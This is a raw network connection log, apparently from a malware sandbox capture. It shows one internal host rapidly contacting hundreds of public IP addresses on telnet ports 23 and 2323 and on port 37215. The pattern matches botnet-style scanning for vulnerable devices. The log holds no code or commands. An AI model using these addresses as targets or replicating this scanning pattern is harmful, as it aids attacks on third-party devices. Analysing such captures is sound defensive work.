Oct 8, 2024 20:34:56.476706982 CEST	48168	23	192.168.2.14	156.66.69.236
Oct 8, 2024 20:34:56.476707935 CEST	23	48168	44.231.119.146	192.168.2.14
Oct 8, 2024 20:34:56.476722002 CEST	2323	48168	122.248.239.118	192.168.2.14
Oct 8, 2024 20:34:56.476726055 CEST	48168	23	192.168.2.14	202.103.117.25
Oct 8, 2024 20:34:56.476735115 CEST	23	48168	158.141.1.138	192.168.2.14
Oct 8, 2024 20:34:56.476739883 CEST	48168	23	192.168.2.14	44.231.119.146
Oct 8, 2024 20:34:56.476749897 CEST	48168	2323	192.168.2.14	122.248.239.118
Oct 8, 2024 20:34:56.476752043 CEST	23	48168	217.66.31.162	192.168.2.14
Oct 8, 2024 20:34:56.476766109 CEST	23	48168	63.78.4.57	192.168.2.14
Oct 8, 2024 20:34:56.476768017 CEST	48168	23	192.168.2.14	158.141.1.138
Oct 8, 2024 20:34:56.476779938 CEST	23	48168	12.216.116.10	192.168.2.14
Oct 8, 2024 20:34:56.476794004 CEST	48168	23	192.168.2.14	217.66.31.162
Oct 8, 2024 20:34:56.476795912 CEST	23	48168	73.228.121.212	192.168.2.14
Oct 8, 2024 20:34:56.476799965 CEST	48168	23	192.168.2.14	63.78.4.57
Oct 8, 2024 20:34:56.476809978 CEST	2323	48168	126.216.173.166	192.168.2.14
Oct 8, 2024 20:34:56.476823092 CEST	48168	23	192.168.2.14	12.216.116.10
Oct 8, 2024 20:34:56.476824045 CEST	23	48168	9.90.218.107	192.168.2.14
Oct 8, 2024 20:34:56.476833105 CEST	48168	23	192.168.2.14	73.228.121.212
Oct 8, 2024 20:34:56.476836920 CEST	23	48168	2.80.159.44	192.168.2.14
Oct 8, 2024 20:34:56.476845026 CEST	48168	2323	192.168.2.14	126.216.173.166
Oct 8, 2024 20:34:56.476851940 CEST	23	48168	110.226.61.160	192.168.2.14
Oct 8, 2024 20:34:56.476859093 CEST	48168	23	192.168.2.14	9.90.218.107
Oct 8, 2024 20:34:56.476866007 CEST	23	48168	110.0.12.222	192.168.2.14
Oct 8, 2024 20:34:56.476878881 CEST	48168	23	192.168.2.14	2.80.159.44
Oct 8, 2024 20:34:56.476881027 CEST	23	48168	65.97.144.139	192.168.2.14
Oct 8, 2024 20:34:56.476888895 CEST	48168	23	192.168.2.14	110.226.61.160
Oct 8, 2024 20:34:56.476895094 CEST	23	48168	80.29.229.195	192.168.2.14
Oct 8, 2024 20:34:56.476906061 CEST	48168	23	192.168.2.14	110.0.12.222
Oct 8, 2024 20:34:56.476907969 CEST	23	48168	213.64.211.11	192.168.2.14
Oct 8, 2024 20:34:56.476912022 CEST	48168	23	192.168.2.14	65.97.144.139
Oct 8, 2024 20:34:56.476922035 CEST	48168	23	192.168.2.14	80.29.229.195
Oct 8, 2024 20:34:56.476934910 CEST	23	48168	46.234.241.155	192.168.2.14
Oct 8, 2024 20:34:56.476949930 CEST	48168	23	192.168.2.14	213.64.211.11
Oct 8, 2024 20:34:56.476955891 CEST	2323	48168	108.11.36.64	192.168.2.14
Oct 8, 2024 20:34:56.476969004 CEST	23	48168	213.140.3.244	192.168.2.14
Oct 8, 2024 20:34:56.476983070 CEST	23	48168	183.158.244.219	192.168.2.14
Oct 8, 2024 20:34:56.476985931 CEST	48168	2323	192.168.2.14	108.11.36.64
Oct 8, 2024 20:34:56.476990938 CEST	48168	23	192.168.2.14	46.234.241.155
Oct 8, 2024 20:34:56.476998091 CEST	23	48168	103.26.220.170	192.168.2.14
Oct 8, 2024 20:34:56.477001905 CEST	48168	23	192.168.2.14	213.140.3.244
Oct 8, 2024 20:34:56.477013111 CEST	23	48168	168.35.22.90	192.168.2.14
Oct 8, 2024 20:34:56.477020979 CEST	48168	23	192.168.2.14	183.158.244.219
Oct 8, 2024 20:34:56.477026939 CEST	23	48168	197.97.230.146	192.168.2.14
Oct 8, 2024 20:34:56.477041960 CEST	23	48168	193.170.40.139	192.168.2.14
Oct 8, 2024 20:34:56.477050066 CEST	48168	23	192.168.2.14	103.26.220.170
Oct 8, 2024 20:34:56.477050066 CEST	48168	23	192.168.2.14	168.35.22.90
Oct 8, 2024 20:34:56.477056980 CEST	23	48168	148.99.220.64	192.168.2.14
Oct 8, 2024 20:34:56.477062941 CEST	48168	23	192.168.2.14	197.97.230.146
Oct 8, 2024 20:34:56.477070093 CEST	23	48168	163.233.45.1	192.168.2.14
Oct 8, 2024 20:34:56.477085114 CEST	48168	23	192.168.2.14	148.99.220.64
Oct 8, 2024 20:34:56.477086067 CEST	48168	23	192.168.2.14	193.170.40.139
Oct 8, 2024 20:34:56.477097034 CEST	23	48168	156.236.22.24	192.168.2.14
Oct 8, 2024 20:34:56.477107048 CEST	48168	23	192.168.2.14	163.233.45.1
Oct 8, 2024 20:34:56.477112055 CEST	23	48168	153.189.191.233	192.168.2.14
Oct 8, 2024 20:34:56.477124929 CEST	23	48168	209.27.255.26	192.168.2.14
Oct 8, 2024 20:34:56.477133989 CEST	48168	23	192.168.2.14	156.236.22.24
Oct 8, 2024 20:34:56.477138042 CEST	23	48168	120.141.55.10	192.168.2.14
Oct 8, 2024 20:34:56.477143049 CEST	48168	23	192.168.2.14	153.189.191.233
Oct 8, 2024 20:34:56.477153063 CEST	23	48168	155.183.121.3	192.168.2.14
Oct 8, 2024 20:34:56.477161884 CEST	48168	23	192.168.2.14	209.27.255.26
Oct 8, 2024 20:34:56.477168083 CEST	23	48168	173.47.42.46	192.168.2.14
Oct 8, 2024 20:34:56.477166891 CEST	48168	23	192.168.2.14	120.141.55.10
Oct 8, 2024 20:34:56.477181911 CEST	23	48168	1.76.177.164	192.168.2.14
Oct 8, 2024 20:34:56.477184057 CEST	48168	23	192.168.2.14	155.183.121.3
Oct 8, 2024 20:34:56.477196932 CEST	2323	48168	18.195.26.200	192.168.2.14
Oct 8, 2024 20:34:56.477201939 CEST	48168	23	192.168.2.14	173.47.42.46
Oct 8, 2024 20:34:56.477211952 CEST	23	48168	53.231.70.73	192.168.2.14
Oct 8, 2024 20:34:56.477216959 CEST	48168	23	192.168.2.14	1.76.177.164
Oct 8, 2024 20:34:56.477226019 CEST	23	48168	151.29.120.55	192.168.2.14
Oct 8, 2024 20:34:56.477231979 CEST	48168	2323	192.168.2.14	18.195.26.200
Oct 8, 2024 20:34:56.477241039 CEST	23	48168	90.43.251.21	192.168.2.14
Oct 8, 2024 20:34:56.477253914 CEST	23	48168	67.140.80.211	192.168.2.14
Oct 8, 2024 20:34:56.477260113 CEST	48168	23	192.168.2.14	53.231.70.73
Oct 8, 2024 20:34:56.477267981 CEST	23	48168	181.82.206.191	192.168.2.14
Oct 8, 2024 20:34:56.477267981 CEST	48168	23	192.168.2.14	151.29.120.55
Oct 8, 2024 20:34:56.477269888 CEST	48168	23	192.168.2.14	90.43.251.21
Oct 8, 2024 20:34:56.477284908 CEST	2323	48168	212.180.10.195	192.168.2.14
Oct 8, 2024 20:34:56.477284908 CEST	48168	23	192.168.2.14	67.140.80.211
Oct 8, 2024 20:34:56.477298975 CEST	23	48168	94.94.209.137	192.168.2.14
Oct 8, 2024 20:34:56.477304935 CEST	48168	23	192.168.2.14	181.82.206.191
Oct 8, 2024 20:34:56.477313042 CEST	23	48168	112.151.120.137	192.168.2.14
Oct 8, 2024 20:34:56.477323055 CEST	48168	2323	192.168.2.14	212.180.10.195
Oct 8, 2024 20:34:56.477329969 CEST	23	48168	117.189.4.254	192.168.2.14
Oct 8, 2024 20:34:56.477339983 CEST	48168	23	192.168.2.14	94.94.209.137
Oct 8, 2024 20:34:56.477344036 CEST	23	48168	111.176.204.51	192.168.2.14
Oct 8, 2024 20:34:56.477364063 CEST	48168	23	192.168.2.14	112.151.120.137
Oct 8, 2024 20:34:56.477364063 CEST	48168	23	192.168.2.14	117.189.4.254
Oct 8, 2024 20:34:56.477375984 CEST	48168	23	192.168.2.14	111.176.204.51
Oct 8, 2024 20:34:56.575371027 CEST	46438	37215	192.168.2.14	197.216.205.44
Oct 8, 2024 20:34:56.575372934 CEST	59298	37215	192.168.2.14	197.76.150.216
Oct 8, 2024 20:34:56.575402975 CEST	59618	37215	192.168.2.14	197.84.253.185
Oct 8, 2024 20:34:56.575402975 CEST	54450	37215	192.168.2.14	156.9.173.133
Oct 8, 2024 20:34:56.575422049 CEST	42346	37215	192.168.2.14	41.126.206.191
Oct 8, 2024 20:34:56.575423002 CEST	38012	37215	192.168.2.14	41.132.104.150
Oct 8, 2024 20:34:56.575423956 CEST	53632	37215	192.168.2.14	156.125.110.190
Oct 8, 2024 20:34:56.575423956 CEST	52562	37215	192.168.2.14	197.58.175.124
Oct 8, 2024 20:34:56.575423002 CEST	47628	37215	192.168.2.14	197.99.192.124
Oct 8, 2024 20:34:56.575423956 CEST	46902	37215	192.168.2.14	156.150.11.107
Oct 8, 2024 20:34:56.575426102 CEST	37532	37215	192.168.2.14	197.72.206.33
Oct 8, 2024 20:34:56.575423002 CEST	58984	37215	192.168.2.14	156.103.50.200
Oct 8, 2024 20:34:56.575423956 CEST	42350	37215	192.168.2.14	197.148.38.33
Oct 8, 2024 20:34:56.575423002 CEST	35502	37215	192.168.2.14	41.219.111.19
Oct 8, 2024 20:34:56.575423956 CEST	45628	37215	192.168.2.14	197.188.135.64
Oct 8, 2024 20:34:56.575426102 CEST	48848	37215	192.168.2.14	197.68.74.133
Oct 8, 2024 20:34:56.575426102 CEST	34952	37215	192.168.2.14	156.196.119.180
Oct 8, 2024 20:34:56.580455065 CEST	37215	59298	197.76.150.216	192.168.2.14
Oct 8, 2024 20:34:56.580471992 CEST	37215	46438	197.216.205.44	192.168.2.14
Oct 8, 2024 20:34:56.580485106 CEST	37215	54450	156.9.173.133	192.168.2.14
Oct 8, 2024 20:34:56.580498934 CEST	37215	59618	197.84.253.185	192.168.2.14
Oct 8, 2024 20:34:56.580523968 CEST	37215	53632	156.125.110.190	192.168.2.14
Oct 8, 2024 20:34:56.580538034 CEST	37215	37532	197.72.206.33	192.168.2.14
Oct 8, 2024 20:34:56.580552101 CEST	37215	52562	197.58.175.124	192.168.2.14
Oct 8, 2024 20:34:56.580553055 CEST	46438	37215	192.168.2.14	197.216.205.44
Oct 8, 2024 20:34:56.580554962 CEST	59298	37215	192.168.2.14	197.76.150.216
Oct 8, 2024 20:34:56.580565929 CEST	37215	48848	197.68.74.133	192.168.2.14
Oct 8, 2024 20:34:56.580580950 CEST	37215	38012	41.132.104.150	192.168.2.14
Oct 8, 2024 20:34:56.580591917 CEST	54450	37215	192.168.2.14	156.9.173.133
Oct 8, 2024 20:34:56.580595016 CEST	37215	42346	41.126.206.191	192.168.2.14
Oct 8, 2024 20:34:56.580595016 CEST	59618	37215	192.168.2.14	197.84.253.185
Oct 8, 2024 20:34:56.580614090 CEST	38012	37215	192.168.2.14	41.132.104.150
Oct 8, 2024 20:34:56.580616951 CEST	53632	37215	192.168.2.14	156.125.110.190
Oct 8, 2024 20:34:56.580631971 CEST	42346	37215	192.168.2.14	41.126.206.191
Oct 8, 2024 20:34:56.580636024 CEST	37532	37215	192.168.2.14	197.72.206.33
Oct 8, 2024 20:34:56.580650091 CEST	52562	37215	192.168.2.14	197.58.175.124
Oct 8, 2024 20:34:56.580662012 CEST	48848	37215	192.168.2.14	197.68.74.133
Oct 8, 2024 20:34:56.580733061 CEST	48169	37215	192.168.2.14	197.87.193.245
Oct 8, 2024 20:34:56.580744028 CEST	48169	37215	192.168.2.14	156.58.225.236
Oct 8, 2024 20:34:56.580749989 CEST	48169	37215	192.168.2.14	41.78.77.34
Oct 8, 2024 20:34:56.580760956 CEST	48169	37215	192.168.2.14	197.208.9.221
Oct 8, 2024 20:34:56.580763102 CEST	48169	37215	192.168.2.14	41.160.156.57
Oct 8, 2024 20:34:56.580768108 CEST	48169	37215	192.168.2.14	197.140.50.124
Oct 8, 2024 20:34:56.580780983 CEST	48169	37215	192.168.2.14	156.242.251.66
Oct 8, 2024 20:34:56.580781937 CEST	48169	37215	192.168.2.14	41.81.121.212
Oct 8, 2024 20:34:56.580781937 CEST	48169	37215	192.168.2.14	41.203.58.123
Oct 8, 2024 20:34:56.580802917 CEST	48169	37215	192.168.2.14	41.142.32.22
Oct 8, 2024 20:34:56.580806017 CEST	48169	37215	192.168.2.14	156.179.13.204
Oct 8, 2024 20:34:56.580806017 CEST	48169	37215	192.168.2.14	41.21.204.171
Oct 8, 2024 20:34:56.580809116 CEST	48169	37215	192.168.2.14	41.250.184.228
Oct 8, 2024 20:34:56.580809116 CEST	48169	37215	192.168.2.14	156.12.237.195
Oct 8, 2024 20:34:56.580830097 CEST	48169	37215	192.168.2.14	41.95.254.32
Oct 8, 2024 20:34:56.580837011 CEST	48169	37215	192.168.2.14	197.96.34.210
Oct 8, 2024 20:34:56.580837011 CEST	48169	37215	192.168.2.14	41.79.183.225
Oct 8, 2024 20:34:56.580840111 CEST	48169	37215	192.168.2.14	41.87.41.122
Oct 8, 2024 20:34:56.580840111 CEST	48169	37215	192.168.2.14	41.229.181.249
Oct 8, 2024 20:34:56.580842018 CEST	48169	37215	192.168.2.14	156.31.147.155
Oct 8, 2024 20:34:56.580846071 CEST	48169	37215	192.168.2.14	156.90.69.29
Oct 8, 2024 20:34:56.580849886 CEST	48169	37215	192.168.2.14	41.109.95.226
Oct 8, 2024 20:34:56.580883980 CEST	48169	37215	192.168.2.14	156.158.195.244
Oct 8, 2024 20:34:56.580883980 CEST	48169	37215	192.168.2.14	41.252.167.191
Oct 8, 2024 20:34:56.580884933 CEST	48169	37215	192.168.2.14	41.134.235.123
Oct 8, 2024 20:34:56.580884933 CEST	48169	37215	192.168.2.14	197.98.242.90
Oct 8, 2024 20:34:56.580890894 CEST	48169	37215	192.168.2.14	197.59.122.168
Oct 8, 2024 20:34:56.580892086 CEST	48169	37215	192.168.2.14	156.160.141.136
Oct 8, 2024 20:34:56.580890894 CEST	48169	37215	192.168.2.14	156.226.132.127
Oct 8, 2024 20:34:56.580893040 CEST	48169	37215	192.168.2.14	156.173.174.218
Oct 8, 2024 20:34:56.580892086 CEST	48169	37215	192.168.2.14	197.201.88.20
Oct 8, 2024 20:34:56.580890894 CEST	48169	37215	192.168.2.14	197.213.14.50
Oct 8, 2024 20:34:56.580893040 CEST	48169	37215	192.168.2.14	41.141.84.52
Oct 8, 2024 20:34:56.580894947 CEST	48169	37215	192.168.2.14	156.241.86.240
Oct 8, 2024 20:34:56.580892086 CEST	48169	37215	192.168.2.14	156.251.172.217
Oct 8, 2024 20:34:56.580894947 CEST	48169	37215	192.168.2.14	41.180.67.78
Oct 8, 2024 20:34:56.580893040 CEST	48169	37215	192.168.2.14	197.226.1.129
Oct 8, 2024 20:34:56.580899954 CEST	48169	37215	192.168.2.14	197.26.140.193
Oct 8, 2024 20:34:56.580893040 CEST	48169	37215	192.168.2.14	156.68.37.252
Oct 8, 2024 20:34:56.580941916 CEST	48169	37215	192.168.2.14	197.248.85.147
Oct 8, 2024 20:34:56.580941916 CEST	48169	37215	192.168.2.14	197.122.90.198
Oct 8, 2024 20:34:56.580941916 CEST	48169	37215	192.168.2.14	41.88.167.201
Oct 8, 2024 20:34:56.580948114 CEST	48169	37215	192.168.2.14	41.167.91.88
Oct 8, 2024 20:34:56.580948114 CEST	48169	37215	192.168.2.14	156.195.139.75
Oct 8, 2024 20:34:56.580948114 CEST	48169	37215	192.168.2.14	41.61.32.241
Oct 8, 2024 20:34:56.580949068 CEST	48169	37215	192.168.2.14	41.133.100.212
Oct 8, 2024 20:34:56.580950975 CEST	48169	37215	192.168.2.14	197.172.59.164
Oct 8, 2024 20:34:56.580948114 CEST	48169	37215	192.168.2.14	197.28.213.53
Oct 8, 2024 20:34:56.580949068 CEST	48169	37215	192.168.2.14	156.153.69.83
Oct 8, 2024 20:34:56.580948114 CEST	48169	37215	192.168.2.14	41.115.204.34
Oct 8, 2024 20:34:56.580950975 CEST	48169	37215	192.168.2.14	197.20.222.251
Oct 8, 2024 20:34:56.580949068 CEST	48169	37215	192.168.2.14	197.85.239.147
Oct 8, 2024 20:34:56.580948114 CEST	48169	37215	192.168.2.14	41.138.93.216
Oct 8, 2024 20:34:56.580948114 CEST	48169	37215	192.168.2.14	41.255.82.220
Oct 8, 2024 20:34:56.580948114 CEST	48169	37215	192.168.2.14	197.121.154.100
Oct 8, 2024 20:34:56.580948114 CEST	48169	37215	192.168.2.14	41.212.73.153
Oct 8, 2024 20:34:56.580949068 CEST	48169	37215	192.168.2.14	197.230.206.29
Oct 8, 2024 20:34:56.580948114 CEST	48169	37215	192.168.2.14	156.211.189.67
Oct 8, 2024 20:34:56.580948114 CEST	48169	37215	192.168.2.14	41.204.208.110
Oct 8, 2024 20:34:56.580949068 CEST	48169	37215	192.168.2.14	197.24.129.113
Oct 8, 2024 20:34:56.580997944 CEST	48169	37215	192.168.2.14	197.84.198.173
Oct 8, 2024 20:34:56.580997944 CEST	48169	37215	192.168.2.14	156.36.138.219
Oct 8, 2024 20:34:56.580997944 CEST	48169	37215	192.168.2.14	41.204.224.108
Oct 8, 2024 20:34:56.580997944 CEST	48169	37215	192.168.2.14	197.9.51.225
Oct 8, 2024 20:34:56.581003904 CEST	48169	37215	192.168.2.14	41.196.113.5
Oct 8, 2024 20:34:56.581006050 CEST	48169	37215	192.168.2.14	156.219.68.59
Oct 8, 2024 20:34:56.581006050 CEST	48169	37215	192.168.2.14	197.186.223.46
Oct 8, 2024 20:34:56.581006050 CEST	48169	37215	192.168.2.14	156.196.130.176
Oct 8, 2024 20:34:56.581007004 CEST	48169	37215	192.168.2.14	156.154.23.193
Oct 8, 2024 20:34:56.581008911 CEST	48169	37215	192.168.2.14	156.245.82.143
Oct 8, 2024 20:34:56.581006050 CEST	48169	37215	192.168.2.14	197.62.106.215
Oct 8, 2024 20:34:56.581007004 CEST	48169	37215	192.168.2.14	197.240.188.131
Oct 8, 2024 20:34:56.581006050 CEST	48169	37215	192.168.2.14	197.254.74.240
Oct 8, 2024 20:34:56.581007004 CEST	48169	37215	192.168.2.14	197.129.156.131
Oct 8, 2024 20:34:56.581006050 CEST	48169	37215	192.168.2.14	156.224.135.46
Oct 8, 2024 20:34:56.581007004 CEST	48169	37215	192.168.2.14	197.42.150.197
Oct 8, 2024 20:34:56.581007004 CEST	48169	37215	192.168.2.14	156.195.88.18
Oct 8, 2024 20:34:56.581008911 CEST	48169	37215	192.168.2.14	197.147.34.178
Oct 8, 2024 20:34:56.581007004 CEST	48169	37215	192.168.2.14	197.115.189.231
Oct 8, 2024 20:34:56.581007004 CEST	48169	37215	192.168.2.14	41.104.126.189
Oct 8, 2024 20:34:56.581008911 CEST	48169	37215	192.168.2.14	41.215.38.142
Oct 8, 2024 20:34:56.581007004 CEST	48169	37215	192.168.2.14	41.107.81.64
Oct 8, 2024 20:34:56.581007004 CEST	48169	37215	192.168.2.14	197.67.86.252
Oct 8, 2024 20:34:56.581060886 CEST	48169	37215	192.168.2.14	41.143.167.227
Oct 8, 2024 20:34:56.581060886 CEST	48169	37215	192.168.2.14	197.202.79.143
Oct 8, 2024 20:34:56.581060886 CEST	48169	37215	192.168.2.14	41.186.26.135
Oct 8, 2024 20:34:56.581060886 CEST	48169	37215	192.168.2.14	197.131.140.14
Oct 8, 2024 20:34:56.581063986 CEST	48169	37215	192.168.2.14	41.32.154.88
Oct 8, 2024 20:34:56.581064939 CEST	48169	37215	192.168.2.14	197.177.163.44
Oct 8, 2024 20:34:56.581064939 CEST	48169	37215	192.168.2.14	197.243.145.222
Oct 8, 2024 20:34:56.581067085 CEST	48169	37215	192.168.2.14	41.37.249.237
Oct 8, 2024 20:34:56.581064939 CEST	48169	37215	192.168.2.14	197.184.178.187
Oct 8, 2024 20:34:56.581065893 CEST	48169	37215	192.168.2.14	156.48.161.122
Oct 8, 2024 20:34:56.581067085 CEST	48169	37215	192.168.2.14	197.236.178.224
Oct 8, 2024 20:34:56.581064939 CEST	48169	37215	192.168.2.14	156.223.230.156
Oct 8, 2024 20:34:56.581067085 CEST	48169	37215	192.168.2.14	197.66.244.89
Oct 8, 2024 20:34:56.581065893 CEST	48169	37215	192.168.2.14	197.186.134.175
Oct 8, 2024 20:34:56.581063986 CEST	48169	37215	192.168.2.14	41.246.159.87
Oct 8, 2024 20:34:56.581065893 CEST	48169	37215	192.168.2.14	156.100.211.43
Oct 8, 2024 20:34:56.581070900 CEST	48169	37215	192.168.2.14	41.37.189.212
Oct 8, 2024 20:34:56.581063986 CEST	48169	37215	192.168.2.14	41.121.44.250
Oct 8, 2024 20:34:56.581065893 CEST	48169	37215	192.168.2.14	41.250.116.239
Oct 8, 2024 20:34:56.581064939 CEST	48169	37215	192.168.2.14	41.99.79.225
Oct 8, 2024 20:34:56.581070900 CEST	48169	37215	192.168.2.14	197.140.251.32
Oct 8, 2024 20:34:56.581065893 CEST	48169	37215	192.168.2.14	197.33.69.110
Oct 8, 2024 20:34:56.581070900 CEST	48169	37215	192.168.2.14	197.190.216.119
Oct 8, 2024 20:34:56.581089020 CEST	48169	37215	192.168.2.14	156.139.203.105
Oct 8, 2024 20:34:56.581089020 CEST	48169	37215	192.168.2.14	41.20.251.165
Oct 8, 2024 20:34:56.581089020 CEST	48169	37215	192.168.2.14	197.147.191.29
Oct 8, 2024 20:34:56.581089020 CEST	48169	37215	192.168.2.14	41.197.253.48
Oct 8, 2024 20:34:56.581089020 CEST	48169	37215	192.168.2.14	41.49.219.192
Oct 8, 2024 20:34:56.581091881 CEST	48169	37215	192.168.2.14	156.159.84.80
Oct 8, 2024 20:34:56.581091881 CEST	48169	37215	192.168.2.14	197.95.117.34
Oct 8, 2024 20:34:56.581094027 CEST	48169	37215	192.168.2.14	41.61.85.14
Oct 8, 2024 20:34:56.581091881 CEST	48169	37215	192.168.2.14	156.22.44.96
Oct 8, 2024 20:34:56.581093073 CEST	48169	37215	192.168.2.14	41.215.125.226
Oct 8, 2024 20:34:56.581094027 CEST	48169	37215	192.168.2.14	197.222.44.38
Oct 8, 2024 20:34:56.581093073 CEST	48169	37215	192.168.2.14	197.14.100.201
Oct 8, 2024 20:34:56.581093073 CEST	48169	37215	192.168.2.14	41.203.60.54
Oct 8, 2024 20:34:56.581094027 CEST	48169	37215	192.168.2.14	41.58.189.10
Oct 8, 2024 20:34:56.581091881 CEST	48169	37215	192.168.2.14	41.236.224.178
Oct 8, 2024 20:34:56.581093073 CEST	48169	37215	192.168.2.14	41.156.174.248
Oct 8, 2024 20:34:56.581094027 CEST	48169	37215	192.168.2.14	156.89.132.222
Oct 8, 2024 20:34:56.581093073 CEST	48169	37215	192.168.2.14	156.125.33.151
Oct 8, 2024 20:34:56.581093073 CEST	48169	37215	192.168.2.14	41.253.39.4
Oct 8, 2024 20:34:56.581099033 CEST	48169	37215	192.168.2.14	156.60.40.124
Oct 8, 2024 20:34:56.581093073 CEST	48169	37215	192.168.2.14	197.37.205.69
Oct 8, 2024 20:34:56.581099033 CEST	48169	37215	192.168.2.14	197.58.160.194
Oct 8, 2024 20:34:56.581099033 CEST	48169	37215	192.168.2.14	197.55.209.127
Oct 8, 2024 20:34:56.581110001 CEST	48169	37215	192.168.2.14	41.119.161.59
Oct 8, 2024 20:34:56.581110001 CEST	48169	37215	192.168.2.14	41.173.250.108
Oct 8, 2024 20:34:56.581110001 CEST	48169	37215	192.168.2.14	197.196.225.81
Oct 8, 2024 20:34:56.581110001 CEST	48169	37215	192.168.2.14	41.134.2.61
Oct 8, 2024 20:34:56.581116915 CEST	48169	37215	192.168.2.14	156.168.55.111
Oct 8, 2024 20:34:56.581119061 CEST	48169	37215	192.168.2.14	197.104.232.107
Oct 8, 2024 20:34:56.581120968 CEST	48169	37215	192.168.2.14	41.122.74.120
Oct 8, 2024 20:34:56.581120968 CEST	48169	37215	192.168.2.14	41.207.80.228
Oct 8, 2024 20:34:56.581120968 CEST	48169	37215	192.168.2.14	41.40.78.7
Oct 8, 2024 20:34:56.581120968 CEST	48169	37215	192.168.2.14	41.125.248.113
Oct 8, 2024 20:34:56.581121922 CEST	48169	37215	192.168.2.14	197.157.194.143
Oct 8, 2024 20:34:56.581124067 CEST	48169	37215	192.168.2.14	197.65.68.64
Oct 8, 2024 20:34:56.581120968 CEST	48169	37215	192.168.2.14	197.74.119.11
Oct 8, 2024 20:34:56.581121922 CEST	48169	37215	192.168.2.14	197.188.154.240
Oct 8, 2024 20:34:56.581126928 CEST	48169	37215	192.168.2.14	197.199.72.248
Oct 8, 2024 20:34:56.581127882 CEST	48169	37215	192.168.2.14	41.20.249.166
Oct 8, 2024 20:34:56.581124067 CEST	48169	37215	192.168.2.14	41.173.41.22
Oct 8, 2024 20:34:56.581127882 CEST	48169	37215	192.168.2.14	41.66.99.15
Oct 8, 2024 20:34:56.581127882 CEST	48169	37215	192.168.2.14	197.189.169.121
Oct 8, 2024 20:34:56.581127882 CEST	48169	37215	192.168.2.14	41.144.163.88
Oct 8, 2024 20:34:56.581127882 CEST	48169	37215	192.168.2.14	197.186.135.74
Oct 8, 2024 20:34:56.581127882 CEST	48169	37215	192.168.2.14	41.42.208.213
Oct 8, 2024 20:34:56.581155062 CEST	48169	37215	192.168.2.14	41.71.158.55
Oct 8, 2024 20:34:56.581160069 CEST	48169	37215	192.168.2.14	41.134.47.209
Oct 8, 2024 20:34:56.581161022 CEST	48169	37215	192.168.2.14	156.212.236.193
Oct 8, 2024 20:34:56.581163883 CEST	48169	37215	192.168.2.14	197.246.222.30
Oct 8, 2024 20:34:56.581175089 CEST	48169	37215	192.168.2.14	156.69.245.222
Oct 8, 2024 20:34:56.581176043 CEST	48169	37215	192.168.2.14	41.98.219.92
Oct 8, 2024 20:34:56.581183910 CEST	48169	37215	192.168.2.14	41.102.173.166
Oct 8, 2024 20:34:56.581190109 CEST	48169	37215	192.168.2.14	197.137.110.170
Oct 8, 2024 20:34:56.581204891 CEST	48169	37215	192.168.2.14	156.1.146.205
Oct 8, 2024 20:34:56.581211090 CEST	48169	37215	192.168.2.14	41.242.84.148
Oct 8, 2024 20:34:56.581218958 CEST	48169	37215	192.168.2.14	156.76.134.69
Oct 8, 2024 20:34:56.581218958 CEST	48169	37215	192.168.2.14	41.63.100.253
Oct 8, 2024 20:34:56.581242085 CEST	48169	37215	192.168.2.14	41.101.195.224
Oct 8, 2024 20:34:56.581243038 CEST	48169	37215	192.168.2.14	156.212.12.76
Oct 8, 2024 20:34:56.581244946 CEST	48169	37215	192.168.2.14	156.108.183.84
Oct 8, 2024 20:34:56.581262112 CEST	48169	37215	192.168.2.14	197.10.1.110
Oct 8, 2024 20:34:56.581263065 CEST	48169	37215	192.168.2.14	197.254.217.54
Oct 8, 2024 20:34:56.581263065 CEST	48169	37215	192.168.2.14	156.21.254.3
Oct 8, 2024 20:34:56.581269979 CEST	48169	37215	192.168.2.14	41.181.79.225
Oct 8, 2024 20:34:56.581283092 CEST	48169	37215	192.168.2.14	197.176.188.60
Oct 8, 2024 20:34:56.581288099 CEST	48169	37215	192.168.2.14	41.206.214.80
Oct 8, 2024 20:34:56.581288099 CEST	48169	37215	192.168.2.14	197.205.160.163
Oct 8, 2024 20:34:56.581291914 CEST	48169	37215	192.168.2.14	156.210.87.12
Oct 8, 2024 20:34:56.581295013 CEST	48169	37215	192.168.2.14	156.68.7.149
Oct 8, 2024 20:34:56.581309080 CEST	48169	37215	192.168.2.14	197.144.35.111
Oct 8, 2024 20:34:56.581321001 CEST	48169	37215	192.168.2.14	197.128.133.126
Oct 8, 2024 20:34:56.581326962 CEST	48169	37215	192.168.2.14	41.1.129.144
Oct 8, 2024 20:34:56.581326962 CEST	48169	37215	192.168.2.14	156.54.46.78
Oct 8, 2024 20:34:56.581335068 CEST	48169	37215	192.168.2.14	41.132.221.106
Oct 8, 2024 20:34:56.581346989 CEST	48169	37215	192.168.2.14	197.138.114.76
Oct 8, 2024 20:34:56.581353903 CEST	48169	37215	192.168.2.14	156.236.81.216
Oct 8, 2024 20:34:56.581366062 CEST	48169	37215	192.168.2.14	197.197.217.247
Oct 8, 2024 20:34:56.581382036 CEST	48169	37215	192.168.2.14	156.38.208.140
Oct 8, 2024 20:34:56.581382036 CEST	48169	37215	192.168.2.14	156.7.214.238
Oct 8, 2024 20:34:56.581393957 CEST	48169	37215	192.168.2.14	41.28.233.156
Oct 8, 2024 20:34:56.581396103 CEST	48169	37215	192.168.2.14	41.100.41.150
Oct 8, 2024 20:34:56.581399918 CEST	48169	37215	192.168.2.14	156.91.45.166
Oct 8, 2024 20:34:56.581406116 CEST	48169	37215	192.168.2.14	156.215.7.249
Oct 8, 2024 20:34:56.581420898 CEST	48169	37215	192.168.2.14	156.251.74.63
Oct 8, 2024 20:34:56.581433058 CEST	48169	37215	192.168.2.14	156.129.238.22
Oct 8, 2024 20:34:56.581437111 CEST	48169	37215	192.168.2.14	156.252.192.93
Oct 8, 2024 20:34:56.581446886 CEST	48169	37215	192.168.2.14	197.148.14.242
Oct 8, 2024 20:34:56.581454039 CEST	48169	37215	192.168.2.14	41.42.159.23
Oct 8, 2024 20:34:56.581461906 CEST	48169	37215	192.168.2.14	156.13.18.173
Oct 8, 2024 20:34:56.581461906 CEST	48169	37215	192.168.2.14	41.25.237.138
Oct 8, 2024 20:34:56.581485033 CEST	48169	37215	192.168.2.14	197.100.125.95
Oct 8, 2024 20:34:56.581486940 CEST	48169	37215	192.168.2.14	156.80.112.151
Oct 8, 2024 20:34:56.581500053 CEST	48169	37215	192.168.2.14	41.214.171.183
Oct 8, 2024 20:34:56.581510067 CEST	48169	37215	192.168.2.14	197.214.98.109
Oct 8, 2024 20:34:56.581512928 CEST	48169	37215	192.168.2.14	197.152.126.164
Oct 8, 2024 20:34:56.581528902 CEST	48169	37215	192.168.2.14	41.180.247.223
